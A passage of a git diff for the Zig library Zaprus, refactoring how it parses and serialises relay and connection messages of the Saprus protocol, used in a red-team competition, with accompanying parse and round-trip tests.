else => return error.InvalidMessage, }; - // zig fmt: on - try expectEqualMessageBuffers(&expected, relay.toBytes(&buf)); + const checksum = in.takeArray(2) catch return error.InvalidMessage; + switch (@"type") { + .relay => { + const dest: Relay.Dest = .fromBytes( + in.takeArray(relay_dest_len) catch return error.InvalidMessage, + ); + const payload = in.buffered(); + return .{ + .relay = .{ + .dest = dest, + .checksum = checksum.*, + .payload = payload, + }, + }; + }, + .connection => { + const src = in.takeInt(u16, .big) catch return error.InvalidMessage; + const dest = in.takeInt(u16, .big) catch return error.InvalidMessage; + const seq = in.takeInt(u32, .big) catch return error.InvalidMessage; + const id = in.takeInt(u32, .big) catch return error.InvalidMessage; + const reserved = in.takeByte() catch return error.InvalidMessage; + const options = in.takeStruct(Connection.Options, .big) catch return error.InvalidMessage; + const payload = in.buffered(); + return .{ + .connection = .{ + .src = src, + .dest = dest, + .seq = seq, + .id = id, + .reserved = reserved, + .options = options, + .payload = payload, + }, + }; + }, + else => return error.NotImplementedSaprusType, + } } -}; -const Connection = struct { - src: u16, - dest: u16, - seq: u32, - id: u32, - reserved: u8 = undefined, - options: Options = .{}, - payload: []const u8, - - /// Option values. - /// Currently used! - pub const Options = packed struct(u8) { - opt1: bool = false, - opt2: bool = false, - opt3: bool = false, - opt4: bool = false, - opt5: bool = false, - opt6: bool = false, - opt7: bool = false, - management: bool = false, - }; + test parse { + _ = try parse(&[_]u8{ 0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 }); - /// Asserts that buf is large enough to fit the connection message. - pub fn toBytes(self: Connection, buf: []u8) []u8 { - var out: Writer = .fixed(buf); - out.writeInt(u16, @intFromEnum(Message.connection), .big) catch unreachable; - out.writeInt(u16, @intCast(self.payload.len + 14), .big) catch unreachable; // Saprus length field, unread. - out.writeInt(u16, self.src, .big) catch unreachable; - out.writeInt(u16, self.dest, .big) catch unreachable; - out.writeInt(u32, self.seq, .big) catch unreachable; - out.writeInt(u32, self.id, .big) catch unreachable; - out.writeByte(self.reserved) catch unreachable; - out.writeStruct(self.options, .big) catch unreachable; - out.writeAll(self.payload) catch unreachable; - return out.buffered(); + { + const expected: Message = .{ + .connection = .{ + .src = 12416, + .dest = 61680, + .seq = 0, + .id = 0, + .reserved = 0, + .options = @bitCast(@as(u8, 100)), + .payload = &[_]u8{ 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 }, + }, + }; + const actual = try parse(&[_]u8{ 0x00, 0xe9, 0x00, 0x18, 0x30, 0x80, 0xf0, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 }); + + try std.testing.expectEqualDeep(expected, actual); + } } - /// If the current message is a management message, return what kind. - /// Else return null. - pub fn management(self: Connection) MessageParseError!?Management { - const b64_dec = std.base64.standard.Decoder; - if (self.options.management) { - var buf: [1]u8 = undefined; - _ = b64_dec.decode(&buf, self.payload) catch return error.InvalidMessage; - - return switch (buf[0]) { - 'P' => .ping, - 'p' => .pong, - else => error.UnknownSaprusType, - }; + test "Round trip" { + { + const expected = [_]u8{ 0x0, 0xe9, 0x0, 0x15, 0x30, 0x80, 0xf0, 0xf0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x64, 0x36, 0x3a, 0x3a, 0x64, 0x61, 0x74, 0x61 }; + const msg = (try parse(&expected)).connection; + var res_buf: [expected.len + 1]u8 = undefined; // + 1 to test subslice result. + const res = msg.toBytes(&res_buf); + try expectEqualMessageBuffers(&expected, res); } - return null; } - pub const Management = enum { - ping, - pong, + // Skip checking the length / checksum, because that is undefined. + fn expectEqualMessageBuffers(expected: []const u8, actual: []const u8) !void { + try std.testing.expectEqualSlices(u8, expected[0..2], actual[0..2]); + try std.testing.expectEqualSlices(u8, expected[4..], actual[4..]); + } + + pub const TypeError = error{ + NotImplementedSaprusType, + UnknownSaprusType, + }; + pub const ParseError = TypeError || error{ + InvalidMessage, }; }; -test "Round trip" { - { - const expected = [_]u8{ 0x0, 0xe9, 0x0, 0x15, 0x30, 0x80, 0xf0, 0xf0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x64, 0x36, 0x3a, 0x3a, 0x64, 0x61, 0x74, 0x61 }; - const msg = (try parse(&expected)).connection; - var res_buf: [expected.len + 1]u8 = undefined; // + 1 to test subslice result. - const res = msg.toBytes(&res_buf); - try expectEqualMessageBuffers(&expected, res); - } -} - -// Skip checking the length / checksum, because that is undefined. -fn expectEqualMessageBuffers(expected: []const u8, actual: []const u8) !void { - try std.testing.expectEqualSlices(u8, expected[0..2], actual[0..2]); - try std.testing.expectEqualSlices(u8, expected[4..], actual[4..]); -} +const relay_dest_len = 4; const std = @import("std"); const Allocator = std.mem.Allocator; diff --git a/src/root.zig b/src/root.zig index aa78565..2a847fc 100644 --- a/src/root.zig +++ b/src/root.zig @@ -14,14 +14,16 @@ // You should have received a copy of the GNU General Public License along with // Zaprus. If not, see . +//! The Zaprus library is useful for implementing clients that interact with the [Saprus Protocol](https://gitlab.com/c2-games/red-team/saprus). +//! +//! The main entrypoint into this library is the `Client` type. +//! It can be used to send fire and forget messages, and establish persistent connections. +//! It is up to the consumer of this library to handle non-management message payloads. +//! The library handles management messages automatically (right now, just ping). + pub const Client = @import("Client.zig"); pub const Connection = @import("Connection.zig"); - -const msg = @import("message.zig"); - -pub const MessageTypeError = msg.MessageTypeError; -pub const MessageParseError = msg.MessageParseError; -pub const Message = msg.Message; +pub const Message = @import("message.zig").Message; test { @import("std").testing.refAllDecls(@This()); -- cgit